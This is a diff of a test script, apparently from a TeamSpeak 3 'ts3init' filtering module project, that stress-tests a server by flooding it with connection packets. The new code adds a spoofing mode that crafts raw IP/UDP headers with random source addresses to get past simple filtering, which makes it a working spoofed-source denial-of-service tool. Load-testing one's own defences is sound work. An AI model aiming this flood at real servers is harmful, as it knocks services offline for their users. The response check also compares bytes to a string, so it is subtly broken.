Extended and improved torture.py

test/torture.py

@@ -1,46 +1,141 @@
-from socket import socket, getaddrinfo, IPPROTO_UDP
-import argparse
-from select import select
-parser = argparse.ArgumentParser(description='Tests if the ts3init module, can withstand heavy loads.')
-parser.add_argument('host', help='target host')
-parser.add_argument('-p', dest='port', type=int, default=9987, help='target port')
-parser.add_argument('-n', dest='number_of_packets', type=int, default=100000, help='number of packets to send')
-args = parser.parse_args()
-
-target = getaddrinfo(args.host, args.port, 0, 0, IPPROTO_UDP)[0]
-print("-" * 40)
-print("Test: ts3init_reset")
-print("Target: %s:%i" % target[4])
-print("-" * 40)
-print("\n")
-
-print("Sending %i packets..." % args.number_of_packets)
-
-sock = socket(*target[0:3])
-
-send = 0
-sendErrors = 0
-recieved = 0
-invalid = 0
-try:
-    sock.connect(target[4])
-    sock.setblocking(False)
-    finished_writing = False
-    while True:
-        (canRead, canWrite, _) = select([sock.fileno()], [sock.fileno()] if send < args.number_of_packets else [] , [], 1)
-        if canRead:
-            data = sock.recv(128)
-            if not data == b'TS3INIT1\x65\x00\x88\x05\x00':
-                invalid += 1
-            recieved += 1
-        if canWrite:
-            try:
-                sock.send(str(send).encode())
-                send += 1
-            except:
-                sendErrors += 1                
-        if not canRead and not canWrite:
-            break
-finally:
-    sock.close()
-    print("send: %i(errors: %i); recieved: %i; invalid: %i" % (send, sendErrors, recieved, invalid))
+"""
+Generates as fast as possible COMMAND_GET_COOKIE packets to see how well
+the TeamSpeak 3 Server can withstand a simple DOS attack.
+
+It has two modes:
+* a testing mode that checks that the server continues to reply with correct
+  messages, even when under heavy load.
+* a spoofing mode, where answers are not expected or waited for, but the source
+  ip and port are spoofed, in order to trick simple filtering.
+"""
+from socket import socket, getaddrinfo, IPPROTO_UDP, AF_INET, SOCK_RAW, IPPROTO_RAW, inet_aton
+from argparse import ArgumentParser
+from select import select
+from random import randint
+from itertools import repeat
+from struct import pack, unpack_from
+from time import time
+from sys import version_info, exit
+
+if version_info < (3,0):
+    print('python3 required.')
+    exit(1)
+
+parser = ArgumentParser(description='Tests if the ts3init module, can withstand heavy loads.')
+parser.add_argument('host', help='target host')
+parser.add_argument('--port', type=int, default=9987, help='target port')
+parser.add_argument('--count', type=int, default=100000, help='number of packets to send')
+parser.add_argument('--response', type=int, default=1, help='what command number is expected to be returned from the server')
+parser.add_argument('--spoof',  action='store_const', const=True, default=False, help='should the source address be spoofed')
+parser.add_argument('--version',  type=int, default=1459504131, help='version number send to the server')
+args = parser.parse_args()
+
+def generateSpoofedHeader(dest_address, dest_port, payload):
+    # checksum functions needed for calculation checksum
+    def checksum(msg):
+        s = 0
+        for i in range(0, len(msg), 2):
+            w = msg[i+1] + (msg[i] << 8)
+            s = s + w
+        s = (s>>16) + (s & 0xffff);
+        s = s + (s >> 16);
+        s = ~s & 0xffff         
+        return s
+    
+    source_address = randint(0, (1 << 32) - 1)
+    source_port = randint(0, (1 << 16) - 1)
+    udp_length = 8 + len(payload)
+    udp_checksum = checksum(pack('!I4sxBHHHH2x',
+        source_address , dest_address, IPPROTO_UDP, udp_length,
+        source_port, dest_port, udp_length) + payload)
+    if udp_checksum == 0:
+        udp_checksum = (1 << 16) - 1
+    
+    return pack('!BBHHHBBHI4sHHHH',
+        (4 << 4) + 5,   # Version, IHL
+        0,              # TOS
+        0,              # Total Length, kernel will fill the correct total length
+        0,              # Identification
+        0,              # Fragment Offset
+        255,            # TTL
+        IPPROTO_UDP,    # Protocol 
+        0,              # Header checksum, kernel will fill the correct checksum
+        source_address, # Source Address
+        dest_address,   # Destination Address
+        source_port,    # Source Port
+        dest_port,      # Destination Port
+        udp_length,     # UDP Length
+        udp_checksum);  # UDP Checksum   
+    
+def generatePayload(version):
+    number = randint(0, (1 << 32) - 1)
+    return pack('!8sHHBIBII8x',
+        b'TS3INIT1', # Literal
+        101,         # Packet ID
+        0,           # Client ID
+        0x88,        # Flags,
+        version,     # Version
+        0,           # Command
+        int(time()), # Timestamp
+        number);     # Random-Sequence
+        
+def validateResponse(answer, expectedCommand):
+    (literal, packet_id, flags, command) = unpack_from('!8sHBB', answer)
+    return (literal == 'TS3INIT1'
+        and packet_id == 101
+        and flags == 0x88
+        and command == expectedCommand)
+        
+target = getaddrinfo(args.host, args.port, 0, 0, IPPROTO_UDP)[0]
+print("Sending %i packets to %s:%i..." % (args.count, *target[4]))
+
+if not args.spoof:
+    send = 0
+    sendErrors = 0
+    recieved = 0
+    invalid = 0
+    sock = socket(*target[0:3])
+    try:
+        sock.connect(target[4])
+        sock.setblocking(False)
+        finished_writing = False
+        while True:
+            (canRead, canWrite, _) = select([sock.fileno()], [sock.fileno()] if not args.spoof and send < args.count else [] , [], 1)
+            if canRead:
+                data = sock.recv(128)
+                if not validateResponse(data, args.response):
+                   invalid += 1
+                recieved += 1
+            if canWrite:
+                try:
+                    packet = generatePayload(args.version)
+                    sock.send(packet)
+                    send += 1
+                except:
+                    sendErrors += 1                
+            if not canRead and not canWrite:
+                break
+    finally:
+        sock.close()
+        print("send: %i(errors: %i); recieved: %i; invalid: %i" % (send, sendErrors, recieved, invalid))
+else:
+    send = 0
+    sendErrors = 0
+    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)
+    try:
+        dest_address =  inet_aton(target[4][0])
+        dest_port = target[4][1]
+        
+        for _ in repeat(None, args.count):
+            try:
+                payload = generatePayload(args.version)
+                packet = generateSpoofedHeader(dest_address, dest_port, payload) + payload
+                select([sock.fileno()], [] , [], 0)
+                sock.sendto(packet, target[4])
+                send += 1
+            except BaseException as e:
+                print(e)
+                sendErrors += 1                
+    finally:
+        sock.close()
+        print("send: %i(errors: %i);" % (send, sendErrors))